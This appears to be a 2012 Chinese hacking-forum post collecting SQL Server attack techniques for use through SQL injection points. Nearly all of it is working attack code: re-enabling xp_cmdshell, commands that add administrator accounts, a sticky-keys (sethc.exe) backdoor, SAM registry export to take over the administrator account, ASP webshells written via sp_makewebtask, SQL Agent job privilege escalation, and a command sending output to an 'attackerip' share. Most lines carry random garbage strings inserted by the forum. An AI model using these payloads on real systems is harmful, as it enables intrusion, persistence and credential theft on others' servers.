找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2678|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
0 i6 y/ B" u7 A2 L恢复方法:查询分离器连接后,
) I, g# E) d( A- o第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 6 d* \' W# s- N
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
8 i, V6 |7 l+ n  B0 }. |8 V4 l然后按F5键命令执行完毕
2 j2 I- _/ z7 A5 s+ L' i5 F, b9 x  F, [$ J
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)$ Y6 K5 a5 f* k1 W! ^
恢复方法:查询分离器连接后,( `' y, G) _, M5 D3 h* V" R1 g
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"7 K& e* }2 A) {, c
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 E( V3 P2 {0 X! \然后按F5键命令执行完毕* x. U# j# J5 I4 F! s0 m6 [

3 K7 E) O( N7 Z; @3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)& O( }5 n  A3 v0 V7 b$ B
恢复方法:查询分离器连接后,
- F1 T% x( b( d- g% Y第一步执行:exec sp_dropextendedproc 'xp_cmdshell', q: E: p/ _2 ~5 s3 T
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
# }& B( A# ?& A9 T% D  {4 u. v然后按F5键命令执行完毕
/ q+ A- F! z) C& ~
# ^8 A1 i0 Q' d, b4 终极方法.% T* @" }$ ]4 y8 i! W! @& @
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:5 ~5 D5 ~" _1 F7 o
查询分离器连接后,
1 A) {& E7 P# i0 ]9 E% D2000servser系统:
8 N* @$ F# d/ l% C# I+ l  m8 i( zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
% a3 {/ D% _2 ?3 A& h' |1 D+ D6 E$ J- `9 N$ g
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add': ^5 y: G2 G+ k2 L0 x1 p2 X
# i9 ~; Z( g. s  s
xp或2003server系统:
' H0 X3 N5 g% p9 `
0 U9 ^2 j- z6 Ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
) ]: X1 {2 q1 }5 ^$ {# y6 S8 c3 U* a3 M- q% z1 G' M0 {1 ?
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'7 m9 t3 f4 L( {8 x
" k1 d* a  z+ O: A1 o5 _/ d
1 @$ `% ]2 y4 e3 V7 \  q
五个SHIFT! D/ p9 R& z! ]2 |, w
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';3 ?$ _' c; u% V

' b" p( d; [& Ldeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
9 g/ i: K, A1 s, }" w' P9 Q
$ R1 L1 N" |6 m" [3 H- i$ Sxp_cmdshell执行命令另一种方法) Z% |8 u/ b" X7 q1 q
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
: w" d, f2 y, l. e/ s0 ?6 U$ j; O
8 n9 e9 p: `2 L& x" |- a4 d  I判断存储扩展是否存在7 n( o; B) O) n! u
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'4 y3 w  u% R7 E& A- w% B  V
返回结果为1就OK3 P! D9 A) ~+ M3 }
# ^7 x: s$ X+ j2 b% b, X

8 H4 Y  H0 y  G  f( a上传xplog70.dll恢复xp_cmdshell语句:
2 u9 G. A9 [- _1 Ysp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
, }: Z4 M4 h  |* x' Z" m) D( y: @4 S7 F6 o, m' ]2 ]3 P
否则上传xplog7.0.dll
5 ]6 P* t' A2 cExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'  C3 i6 f. ~: q  |$ m6 S3 m
# W1 K7 I7 D9 b% O; r- x

( q: _' R# g8 V8 K) o! K5 m( {9 z' i7 s+ p) u
首先开启沙盘模式:4 }- O* Y9 U) m! ~2 v% A( l4 Q  C, r
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
. d! t, V: U+ y3 |; j! x4 }7 E2 c. n9 G2 v: F
然后利用jet.oledb执行系统命令  J1 j, o+ U  W. s  r: D
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')1 g* A/ G- l) z* G0 I7 o* V+ u4 \
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了* e0 e' I2 [" ]6 Q* \1 z* y7 G
. j7 L6 ?$ a/ }* a) z

* m- V# p- L+ ^; ?. U3 C0 {
$ |1 g- p; d3 }1 [( u" g恢复过程sp_addextendedproc 如下: * g$ O$ ]- ^# ]  a3 A. x1 o( q
create procedure sp_addextendedproc --- 1996/08/30 20:13
; \' x! K* T! s' g+ l( {9 ?7 Q@functname nvarchar(517),/* (owner.)name of function to call */ & D% v0 \* g5 W0 R
@dllname varchar(255)/* name of DLL containing function */
0 [. ^2 `2 e/ e# las
) q  h: ^: {3 W4 e8 bset implicit_transactions off
& B2 T: q" ^5 fif @@trancount > 0
3 A6 Q/ i3 w) c7 {2 x% k" S$ Vbegin ' S5 N& G/ D0 o9 {* n6 s( H
raiserror(15002,-1,-1,'sp_addextendedproc') 1 O1 O+ c/ I3 L$ l( s  x. G0 e  B
return (1)
* J* P% P% s% F' E5 rend - g9 y& ~& W9 V0 `+ d
dbcc addextendedproc( @functname, @dllname)
0 H- W( \5 S$ i6 Qreturn (0) -- sp_addextendedproc
2 w; A1 Y9 F3 D& r, H' T+ ]# U. f3 [GO 8 O0 g+ c3 S! n! G( |/ y
3 \1 t" v6 }+ k: n

% [, X3 e" Q$ d9 i: K
( O% J/ F5 H* U" {4 X  Y导出管理员密码文件
* d3 S& W; _$ Y7 asa默认可以读sam键.应该。
& g( t8 R1 c# r  w( ^1 q" M$ treg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
# v! X" @3 @2 V$ t6 x% anet user administrator test
0 D; k' r: |& o; m. S用administrator登陆.. u: P5 }3 l5 G  N3 t- P; H
用完机器后9 p1 s" h0 q) }* K
reg import c:\test.reg
( ^, Q: N% p- U) [: C" _根本不用克隆.( B: o% W5 n! N1 G; i: x, a+ T/ z
找到对应的sid.
5 M/ @# d6 k8 {1 m" g( s
2 F4 n, T/ Q: W3 ~
; a, q+ c( h* u
: u6 @6 w/ S7 d& f% s  p恢复所有存储过程
6 |* t7 w% y0 b% s0 wuse master 6 m! U( _& R. v
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 6 e- Y* v9 F- h3 y! `9 x
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' , f# |5 U4 A/ h$ \
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
& i6 |8 U8 b, U, Bexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 2 \! j+ m, T0 D
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 9 w* h" r5 Z; b
exec sp_addextendedproc sp_OACreate,'odsole70.dll' % G9 K7 q% w: t3 T1 b4 y1 H4 F
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
' Q/ C! ]) O' Vexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 5 u. F) K& B4 \# I
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
- \8 V0 M$ w9 Mexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
4 B0 Y4 f1 m6 D9 T; [- Eexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
; t9 }  J- k1 d8 }: j/ Kexec sp_addextendedproc sp_OAStop,'odsole70.dll'
% f2 ~1 Q  d: P+ A3 @exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
! Y% h* P5 G2 r! p- G0 h) mexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 4 V( Y; p- d+ O0 P
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' $ X& g$ D( x8 C) e
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
5 w- j8 f; }9 Pexec sp_addextendedproc xp_regread,'xpstar.dll' . Y5 }4 c0 V; H& I% i5 O1 l
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' " ]" f6 v( b2 g* ~$ U3 b
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 5 e% @8 U! j- A3 v! y6 w! g
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
' Y/ F( n' V- w: x' L! w1 Q
" Y* S, e6 _8 S' u+ x- k4 E4 d5 p# n7 q; {6 r
建立读文件的存储过程
! X% H3 b; p* m6 a: \7 x  ECreate proc sp_readTextFile @filename sysname
1 f) c  B6 `' e& Q4 _/ ^0 ^' {as
8 a) a. o3 b$ B6 `2 G" c% x6 p/ Z$ b0 `9 b) Z- `. f0 T2 a% J
    begin   ^  t% Y- N8 I" v* n
    set nocount on
4 Y3 X; B$ W+ g+ N4 F    Create table #tempfile (line varchar(8000))4 t$ L% [+ j$ ~  x7 a' P, G
    exec ('bulk insert #tempfile from "' + @filename + '"')
, S( F4 A! J0 Y% k4 T& o8 ~    select * from #tempfile
& g; A+ u8 o. W- J+ A0 F, ?    drop table #tempfile
6 F8 P( e( E6 p! P7 g! @End7 k  \" ]# U0 i7 g7 \* |

0 r7 V/ T: ~# Q7 L# O" ~9 Q+ Gexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件: ]$ K, \9 X6 w" Y" t! G
查看登录用户* g  V  F: [$ ]7 v
Select * from sysxlogins
' g  H1 U$ u" }( }* D& J- A! J# |$ b9 u8 |- d
把文件内容读取到表中1 q4 ^' r: _" [' _+ ?
BULK INSERT tmp from "c:\test.txt"
6 \) V; \( c# Q" cdElete from 表名 清理表里的内容
: s2 U8 b! E1 P( fcreate table b_test(fn nvarchar(4000));建一个表,字段为fn) f# p- I4 U2 U% |

. k. _0 A# |% J- O1 I
8 Z' q$ w& Q4 K# m" o* h. G8 m- ?加sa用户: i/ {  G( o) n1 J/ @: x
exec master.dbo.sp_addlogin user,pass;
+ a6 ~* u- I. k1 P6 {: Eexec master.dbo.sp_addsrvrolemember user,sysadmin9 o4 t( b# J0 N2 R, N* P

, d. g( b- S% x) h* \
9 H" m4 j+ o, r: ]; x8 s* B7 B  p+ ~! q
读文件代码8 D5 V' F# Z8 y: \3 Z& l* {9 b9 k
declare @o int, @f int, @t int, @ret int* ]; U; P# ?: P6 j
declare @line varchar(8000)
) H7 |$ c4 t# lexec sp_oacreate 'scripting.filesystemobject', @o out( j8 i" T" D5 M* H
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1* M( Z8 e$ h* e3 @; }+ M
exec @ret = sp_oamethod @f, 'readline', @line out+ P4 K# J4 f1 |) i0 R  _; a3 B  G5 g
while( @ret = 0 )
) k& b) i3 H! |- `begin
3 N$ v5 h- ?7 x4 }9 ~print @line  l) H: i0 G% w: M  h+ l0 R
exec @ret = sp_oamethod @f, 'readline', @line out* r6 n% U2 l6 w7 ]
end
+ X1 P. U+ R5 A1 x# f( Q! B  g& \# a$ d2 Q0 I6 l

- P' v( C$ w) }  F' h写文件代码:
7 r* `6 I" a0 Z1 U3 Q% V% fdeclare @o int, @f int, @t int, @ret int
8 a9 d  z1 `  fexec sp_oacreate 'scripting.filesystemobject', @o out
( U7 [9 H" N, I3 l) g0 sexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 16 G& `* t7 g2 i  k% J+ b; g9 O
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
& x7 Q' K) R- i" N8 L4 g3 V1 j5 \3 x! Q2 d

) {4 H) y5 n( v- w/ l: g添加lake2 shell6 X; W( X& l; j- z. |* M
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
* R- r  z& w9 |4 [4 T6 nsp_dropextendedproc xp_lake2% _3 b1 `- g( v: F6 X9 |; ^7 B6 v
EXEC xp_lake2 'net user'% T0 y* q+ E# ]5 y8 D
  \! ~$ Y! T& i1 y
+ c+ r" V) t% J, \( H/ u
得到硬盘文件信息
. h! h. W  ]. q$ x9 O  f! s--参数说明:目录名,目录深度,是否显示文件 2 h  ]4 p& ]' d' B3 ?+ d7 }9 K
execute master..xp_dirtree 'c:'
  Z& z: K$ T9 L6 U: Z6 Texecute master..xp_dirtree 'c:',1
# x- b/ B( G2 A# h: hexecute master..xp_dirtree 'c:',1,1 * A8 E' e' _; ?8 b' G) b) ^. G

/ \  z& X6 ~1 e1 s
' U9 A! y* h+ F+ y6 v6 G! f1 S% ]读serv-u配置信息
1 i3 V6 ?6 d$ Q6 B2 y5 y) o( ~exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
0 n4 V6 _% A4 Q( G* S; C; h, m7 }3 Rexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'3 p; m6 _6 j* L" B: a
1 y/ y" h; S- u5 x  o6 U
通过xp_regwrite写SHIFT后门
! `$ a  n# y# P7 o8 lexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
1 m8 o0 Y+ z. s! `: ]) m4 m8 @
6 n9 J9 e2 x$ L: _9 S3 f4 P& K! Q* ~& s1 h
+ `  D6 Q7 ?4 Q  C! X' ^
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
4 z( @# }& U$ t6 Eexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了6 v$ D% Q$ o  n  N# v
1 K' a7 S' \" _9 {( T
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'" K+ c3 Q# K: A

1 i; O' ^) r" m/ Q4 h3 l$ q4 u, ]' G9 F" P2 n; E) K) \5 S
( s  E1 n9 k7 H8 B' n
sql server 2005下开启xp_cmdshell的办法# f1 C! }% {& D! A. q, a

+ J" S! J1 k) p, M  S2 _( E4 g# g. FEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
; _7 F- R5 E% j. a) z, M& A
& u# A7 F4 k6 ?6 N0 y: j3 }& hSQL2005开启'OPENROWSET'支持的方法:
; ]3 L! v- S) g! r" T- K' |6 ^# M6 L1 L. l  {8 y
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;) _5 V1 k5 |) c' Z2 W( ~2 N: M

3 ~7 |7 M! `9 t; g% v) m" qSQL2005开启'sp_oacreate'支持的方法:( T! d( ~. M9 }" x

5 |# @, O& Y: ^- r/ o; {exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
& y# e0 a8 }( X7 ~; _
' q. H% S8 G3 h) a  g  x9 S+ y, ?4 o  a% O

. E2 a+ n* D: j/ m& M
5 E/ j( X' ~. e2 L. e+ K% L
  [6 u$ a0 B/ h& ^, K
8 Q: a: g- ~' V# ~& F' i
, ^6 o0 g- M' h# ?3 S* Y4 l
$ k- |: x7 G, l3 i0 @2 [1 U. y0 h! b9 `# T3 ]+ [/ x
- A# ~0 x0 j. W

5 J% }# f* |5 e7 a5 h! b3 |& U. Z9 t8 b1 z: B; {% \

9 B* E. B) b# w: {" v/ e0 H5 Y  ]
: r! @  `6 u' C) Y: V3 L- G! j
7 }+ m0 x( X/ H0 z; w/ b1 |
) Q; [9 `6 F" `) V$ e  ]* `" V
0 s  X; \7 u) h! f2 e- r0 \8 [) P9 e4 D# ~1 U, P
& s& Q, O' E" ^9 D

2 p2 Z9 _0 U5 G" ?/ L+ i/ b8 m1 E6 |$ I2 Z( _% g% l4 ^" n' N

& w' H- B4 w4 `. `
1 V  g9 J0 u; q/ T
1 A0 P: h1 D2 m以下方面不知道能不能成功暂且留下研究哈:$ x; e, q1 s  D* B
4)$ m( j6 X: o& W
use msdb; --这儿不要是master哟
, ]+ W3 G1 n6 [8 U/ lexec sp_add_job @job_name= czy82 ;
' G! I/ ~  ~4 V# I: V/ y2 X. nexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
2 Z& {5 \2 M% a; n% I% P! @/ aexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;: ], o% C& b/ K2 \3 E
exec sp_start_job @job_name= czy82 ;
) y8 T; o6 d3 c' n1 L* b0 J. j3 i8 w2 W" x3 Q
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
0 w4 x- L: I; p. q3 Y执行tsql语句了.% G4 P  |. H* R+ d6 [! Q1 C
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名, d% }) C  h0 n. c: s6 D
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧). X! n1 c$ H7 u0 @+ U: R6 L
net start SQLSERVERAGENT
- A+ Y4 t& N& G# q) R9 o7 _9 p8 y: _2 G- G1 i+ c
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的$ ~# @& }; X  n  q9 k# Y
USE msdb; B& T; N8 A* R! {" I$ V7 f# A
EXEC sp_add_job @job_name = GetSystemOnSQL ,
& {! Y" w& L# b$ Z1 a) d# \" }8 Q: ?@enabled = 1,
* y% t% \3 |8 C; h) Y9 k@description = This will give a low privileged user access to
6 W! {& o1 t0 o3 N. |7 \xp_cmdshell ,- }. |5 V7 C% d; l+ E6 \
@delete_level = 1
2 ], V( M0 Q% T% g5 U' ~EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
; a& y( H7 ^) G2 N/ O4 s@step_name = Exec my sql ,
0 ?. Z, r% _3 }$ }  r: l@subsystem = TSQL ,' r; p$ M) u+ o5 `& H
@command = exec master..xp_execresultset N select exec3 l* C( |: C" ?( T% C
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
" B7 L( `5 n% R3 AEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
& ]% j$ _- u2 r# \@server_name = 你的SQL的服务器名
9 I% h9 Z- z' E5 @$ S7 ?: JEXEC sp_start_job @job_name = GetSystemOnSQL 8 q4 L: X% i: C2 L

3 ?7 @& N2 m- S不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以  N# R# f. c, |) O$ z& a, W
才让我们可以以public执行xp_cmdshell/ v( u2 t/ N* i" t0 F% l& \: p

* n) U# O0 m" z* M5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)0 G+ g" d( ^* j/ [
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968: y0 i2 p2 E" ]2 |
2 M& y6 o, d7 h
USE msdb
( ~( _  W% `- ?9 J7 [EXEC sp_add_job @job_name = ArbitraryFilecreate ,$ N; U9 W! |  e- o! K
@enabled = 1,8 o! h+ S% Y) d8 i3 t4 h. |
@description = This will create a file called c:\sqlafc123.txt ,# e. d8 N/ d4 M, M' ^. g
@delete_level = 1( Q# c  i& U/ s$ W( f
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,5 I. [+ `- Y' W6 g/ @5 Q
@step_name = SQLAFC ,
) O$ H3 H, e2 U. M@subsystem = TSQL ,# S1 W9 ^( w2 J& N
@command = select hello, this file was created by the SQL Agent. ,
1 N7 r7 n; w; N, h@output_file_name = c:\sqlafc123.txt
, F& c5 ~- S! j. nEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,3 o$ ~# y% |) b8 M# f9 K' X
@server_name = SERVER_NAME 2 c3 Z) c0 z% A' x
EXEC sp_start_job @job_name = ArbitraryFilecreate
6 A; N, A5 j4 \- i2 b4 _! z; y
, p9 _3 y3 e: C$ S  h- m/ ~8 U0 P4 ^如果subsystem选的是:tsql,在生成的文件的头部有如下内容
  v1 T1 e* \; C& M2 f1 w) `% i9 c3 d- h+ X7 j% l3 C* q7 I  I; o
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:199 E( b( u* [3 ]3 V; t7 j' _
----------------------------------------------
' b, q; D9 [; ]5 }! z) Q5 P1 Ohello, this file was created by the SQL Agent.* d0 Y: z+ F4 z. @4 I7 k9 d- F
" A& r" I; ]( d: @
(1 ?????)9 Z5 f' i  z. ~

$ k7 v+ J/ _$ L; C所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
0 }" F7 ]. N$ J& @命令的vbs文件到启动目录!2 L8 m9 o7 c1 }% n/ y' T" I- H
3 m- Q! x' d2 x+ O0 u1 \
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)6 _: H' ~$ v1 q# I% r+ d
关于sp_MScopyscriptfile 看下面的例子
5 K# e4 M6 s" j  Vdeclare @command varchar(100)
( k5 h- T1 I2 R% J  Vdeclare @scripfile varchar(200)
/ Y+ E  B$ v7 A+ `set concat_null_yields_null off - S8 X9 r$ e/ |% s9 |* }
select @command= dir c:\ > "\\attackerip\share\dir.txt"
/ p. q: h5 m1 _& [% m5 C% z( Wselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
* z# j5 ^* U( y( i0 |! Rexec sp_MScopyscriptfile @scripfile ,
* n& j* m" L2 r. z$ w. m
- J% g& |! ]: S: U3 d3 v这两个东东都还在测试试哟
7 P# o7 T5 j1 X$ ?* P6 m让MSSQL的public用户得到一个本机的web shell5 M0 V! g- Z; k" ^- S6 ]

- G7 Q& t) g4 k* u8 }/ [sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,* R7 t: ]& V. f9 [; W3 {! D1 ?
--@query= select <img src=vbscript:msgbox(now())> 4 B6 @( H$ ^3 q! m3 }
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
2 x1 Q; e' U: U@query= select
; I0 n& c3 v4 S& n" \7 X* k: v<%On Error Resume Next ( _5 x6 G! Y, l& Z4 j
Set oscript = Server.createObject("wscript.SHELL")
3 W" b# X& @! Q' W6 oSet oscriptNet = Server.createObject("wscript.NETWORK")
. R8 D+ X: m( _0 A$ LSet oFileSys = Server.createObject("scripting.FileSystemObject")
8 G4 I9 N9 B, @7 i/ pszCMD = Request.Form(".CMD") / |% _/ ?4 y! B6 Y6 S
If (szCMD <>"")Then 8 C: }/ Q4 b' Q0 B
szTempFile = "C:\" & oFileSys.GetTempName() 2 b8 g) U, u# I
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  P, s' T; z( E: f! TSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) ' W0 Q0 k* M) H
End If %> * s9 K6 M2 F- {8 J  p" v. i
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
  N. G3 ?; p/ E' J. t<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
. o2 Y* W: p3 k5 r0 j& [</FORM><RE>
( y8 o& p7 P! K; I$ r<% If (IsObject(oFile))Then
9 u; _2 ^1 E: e# ?: P7 k0 |3 X1 oOn Error Resume Next 0 c# `' t7 ^( U( k$ n7 ]4 q
Response.Write Server.HTMLEncode(oFile.ReadAll)   T: }- l, k% L' z$ N
oFile.Close
: _2 Q& a: l/ h" |" ^Call oFileSys.deleteFile(szTempFile, True)
6 F+ F( b0 g9 A3 x4 hEnd If%> " @% f2 {/ d4 n- E5 U3 X  w
</BODY></HTML> ; s$ O, }* z: _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表